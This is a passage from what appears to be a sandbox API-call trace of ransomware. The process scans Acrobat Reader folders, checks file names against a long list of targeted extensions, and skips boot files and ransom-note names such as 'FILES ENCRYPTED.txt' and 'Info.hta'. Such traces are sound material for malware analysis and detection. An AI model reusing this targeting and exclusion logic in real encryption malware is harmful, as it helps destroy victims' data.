	[0173.943] lstrlenW (lpString=".dic") returned 4
	[0173.943] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0173.944] lstrlenW (lpString=".dif") returned 4
	[0173.944] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0173.944] lstrlenW (lpString=".divx") returned 5
	[0173.944] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0173.944] lstrlenW (lpString=".djvu") returned 5
	[0173.944] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0173.944] lstrlenW (lpString=".dng") returned 4
	[0173.944] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0173.944] lstrlenW (lpString=".doc") returned 4
	[0173.944] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0173.944] lstrlenW (lpString=".docm") returned 5
	[0173.944] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0173.944] lstrlenW (lpString=".docx") returned 5
	[0173.944] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0173.944] lstrlenW (lpString=".dot") returned 4
	[0173.944] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0173.944] lstrlenW (lpString=".dotm") returned 5
	[0173.944] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0173.944] lstrlenW (lpString=".dotx") returned 5
	[0173.944] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0173.944] lstrlenW (lpString=".dpx") returned 4
	[0173.944] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0173.944] lstrlenW (lpString=".dqy") returned 4
	[0173.944] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0173.944] lstrlenW (lpString=".dsn") returned 4
	[0173.944] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0173.944] lstrlenW (lpString=".dt") returned 3
	[0173.944] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0173.944] lstrlenW (lpString=".dtd") returned 4
	[0173.944] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".dwg") returned 4
	[0173.945] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".dwt") returned 4
	[0173.945] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".dx") returned 3
	[0173.945] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0173.945] lstrlenW (lpString=".dxf") returned 4
	[0173.945] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".edml") returned 5
	[0173.945] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0173.945] lstrlenW (lpString=".efd") returned 4
	[0173.945] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".elf") returned 4
	[0173.945] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".emf") returned 4
	[0173.945] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".emz") returned 4
	[0173.945] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".epf") returned 4
	[0173.945] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".eps") returned 4
	[0173.945] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".epsf") returned 5
	[0173.945] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0173.945] lstrlenW (lpString=".epsp") returned 5
	[0173.945] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0173.945] lstrlenW (lpString=".erf") returned 4
	[0173.945] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".exr") returned 4
	[0173.945] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".f4v") returned 4
	[0173.945] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0173.945] lstrlenW (lpString=".fido") returned 5
	[0173.945] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0173.945] lstrlenW (lpString=".flm") returned 4
	[0173.945] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".flv") returned 4
	[0173.946] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".frm") returned 4
	[0173.946] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".fxg") returned 4
	[0173.946] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".geo") returned 4
	[0173.946] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".gif") returned 4
	[0173.946] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".grs") returned 4
	[0173.946] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".gz") returned 3
	[0173.946] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0173.946] lstrlenW (lpString=".h") returned 2
	[0173.946] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0173.946] lstrlenW (lpString=".hdr") returned 4
	[0173.946] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".hpp") returned 4
	[0173.946] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".hta") returned 4
	[0173.946] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".htc") returned 4
	[0173.946] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".htm") returned 4
	[0173.946] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".html") returned 5
	[0173.946] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0173.946] lstrlenW (lpString=".icb") returned 4
	[0173.946] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".ics") returned 4
	[0173.946] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".iff") returned 4
	[0173.946] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".inc") returned 4
	[0173.946] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0173.946] lstrlenW (lpString=".indd") returned 5
	[0173.946] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0173.947] lstrlenW (lpString=".ini") returned 4
	[0173.947] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".iqy") returned 4
	[0173.947] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".j2c") returned 4
	[0173.947] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".j2k") returned 4
	[0173.947] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".java") returned 5
	[0173.947] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0173.947] lstrlenW (lpString=".jp2") returned 4
	[0173.947] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".jpc") returned 4
	[0173.947] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".jpe") returned 4
	[0173.947] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".jpeg") returned 5
	[0173.947] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0173.947] lstrlenW (lpString=".jpf") returned 4
	[0173.947] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".jpg") returned 4
	[0173.947] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".jpx") returned 4
	[0173.947] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString=".js") returned 3
	[0173.947] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0173.947] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.947] lstrlenW (lpString=".GTF") returned 4
	[0173.947] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0173.947] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.947] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0173.947] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0173.948] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0173.948] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0173.948] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0173.948] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0173.948] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0173.948] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0173.948] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\root\\ui-strings.js") returned 124
	[0173.948] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3779, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0173.948] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0173.948] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.948] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0173.948] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ru-ru") returned 111
	[0173.948] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ru-ru") returned 1
	[0173.948] lstrlenW (lpString="ru-ru") returned 5
	[0173.948] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ru-ru") returned -1
	[0173.948] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42b29b0
	[0173.949] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ru-ru") returned 111
	[0173.949] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ru-ru\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0173.949] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.949] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5492, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.949] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.950] lstrlenW (lpString=".1cd") returned 4
	[0173.950] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0173.950] lstrlenW (lpString=".3ds") returned 4
	[0173.950] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0173.950] lstrlenW (lpString=".3fr") returned 4
	[0173.950] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0173.950] lstrlenW (lpString=".3g2") returned 4
	[0173.950] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0173.950] lstrlenW (lpString=".3gp") returned 4
	[0173.950] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0173.950] lstrlenW (lpString=".7z") returned 3
	[0173.950] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0173.950] lstrlenW (lpString=".accda") returned 6
	[0173.950] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0173.950] lstrlenW (lpString=".accdb") returned 6
	[0173.950] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0173.950] lstrlenW (lpString=".accdc") returned 6
	[0173.950] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0173.950] lstrlenW (lpString=".accde") returned 6
	[0173.950] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0173.950] lstrlenW (lpString=".accdt") returned 6
	[0173.950] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0173.950] lstrlenW (lpString=".accdw") returned 6
	[0173.950] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0173.950] lstrlenW (lpString=".adb") returned 4
	[0173.950] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0173.950] lstrlenW (lpString=".adp") returned 4
	[0173.950] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0173.950] lstrlenW (lpString=".ai") returned 3
	[0173.950] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0173.950] lstrlenW (lpString=".ai3") returned 4
	[0173.950] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0173.950] lstrlenW (lpString=".ai4") returned 4
	[0173.951] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".ai5") returned 4
	[0173.951] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".ai6") returned 4
	[0173.951] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".ai7") returned 4
	[0173.951] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".ai8") returned 4
	[0173.951] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".anim") returned 5
	[0173.951] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0173.951] lstrlenW (lpString=".arw") returned 4
	[0173.951] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".as") returned 3
	[0173.951] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0173.951] lstrlenW (lpString=".asa") returned 4
	[0173.951] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".asc") returned 4
	[0173.951] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".ascx") returned 5
	[0173.951] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0173.951] lstrlenW (lpString=".asm") returned 4
	[0173.951] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".asmx") returned 5
	[0173.951] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0173.951] lstrlenW (lpString=".asp") returned 4
	[0173.951] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".aspx") returned 5
	[0173.951] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0173.951] lstrlenW (lpString=".asr") returned 4
	[0173.951] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".asx") returned 4
	[0173.951] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0173.951] lstrlenW (lpString=".avi") returned 4
	[0173.952] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".avs") returned 4
	[0173.952] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".backup") returned 7
	[0173.952] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0173.952] lstrlenW (lpString=".bak") returned 4
	[0173.952] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".bay") returned 4
	[0173.952] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".bd") returned 3
	[0173.952] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0173.952] lstrlenW (lpString=".bin") returned 4
	[0173.952] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".bmp") returned 4
	[0173.952] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".bz2") returned 4
	[0173.952] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".c") returned 2
	[0173.952] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0173.952] lstrlenW (lpString=".cdr") returned 4
	[0173.952] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".cer") returned 4
	[0173.952] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".cf") returned 3
	[0173.952] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0173.952] lstrlenW (lpString=".cfc") returned 4
	[0173.952] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0173.952] lstrlenW (lpString=".cfm") returned 4
	[0173.952] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".cfml") returned 5
	[0173.953] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0173.953] lstrlenW (lpString=".cfu") returned 4
	[0173.953] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".chm") returned 4
	[0173.953] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".cin") returned 4
	[0173.953] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".class") returned 6
	[0173.953] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0173.953] lstrlenW (lpString=".clx") returned 4
	[0173.953] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".config") returned 7
	[0173.953] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0173.953] lstrlenW (lpString=".cpp") returned 4
	[0173.953] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".cr2") returned 4
	[0173.953] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".crt") returned 4
	[0173.953] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".crw") returned 4
	[0173.953] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".cs") returned 3
	[0173.953] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0173.953] lstrlenW (lpString=".css") returned 4
	[0173.953] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".csv") returned 4
	[0173.953] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".cub") returned 4
	[0173.953] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".dae") returned 4
	[0173.953] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0173.953] lstrlenW (lpString=".dat") returned 4
	[0173.954] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".db") returned 3
	[0173.954] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0173.954] lstrlenW (lpString=".dbf") returned 4
	[0173.954] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".dbx") returned 4
	[0173.954] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".dc3") returned 4
	[0173.954] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".dcm") returned 4
	[0173.954] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".dcr") returned 4
	[0173.954] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".der") returned 4
	[0173.954] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".dib") returned 4
	[0173.954] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".dic") returned 4
	[0173.954] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".dif") returned 4
	[0173.954] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".divx") returned 5
	[0173.954] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0173.954] lstrlenW (lpString=".djvu") returned 5
	[0173.954] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0173.954] lstrlenW (lpString=".dng") returned 4
	[0173.954] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".doc") returned 4
	[0173.954] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0173.954] lstrlenW (lpString=".docm") returned 5
	[0173.955] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0173.955] lstrlenW (lpString=".docx") returned 5
	[0173.955] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0173.955] lstrlenW (lpString=".dot") returned 4
	[0173.955] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".dotm") returned 5
	[0173.955] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0173.955] lstrlenW (lpString=".dotx") returned 5
	[0173.955] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0173.955] lstrlenW (lpString=".dpx") returned 4
	[0173.955] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".dqy") returned 4
	[0173.955] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".dsn") returned 4
	[0173.955] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".dt") returned 3
	[0173.955] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0173.955] lstrlenW (lpString=".dtd") returned 4
	[0173.955] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".dwg") returned 4
	[0173.955] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".dwt") returned 4
	[0173.955] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".dx") returned 3
	[0173.955] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0173.955] lstrlenW (lpString=".dxf") returned 4
	[0173.955] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".edml") returned 5
	[0173.955] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0173.955] lstrlenW (lpString=".efd") returned 4
	[0173.955] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".elf") returned 4
	[0173.955] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0173.955] lstrlenW (lpString=".emf") returned 4
	[0173.956] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0173.956] lstrlenW (lpString=".emz") returned 4
	[0173.956] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0173.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.956] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0173.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.956] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0173.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.956] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
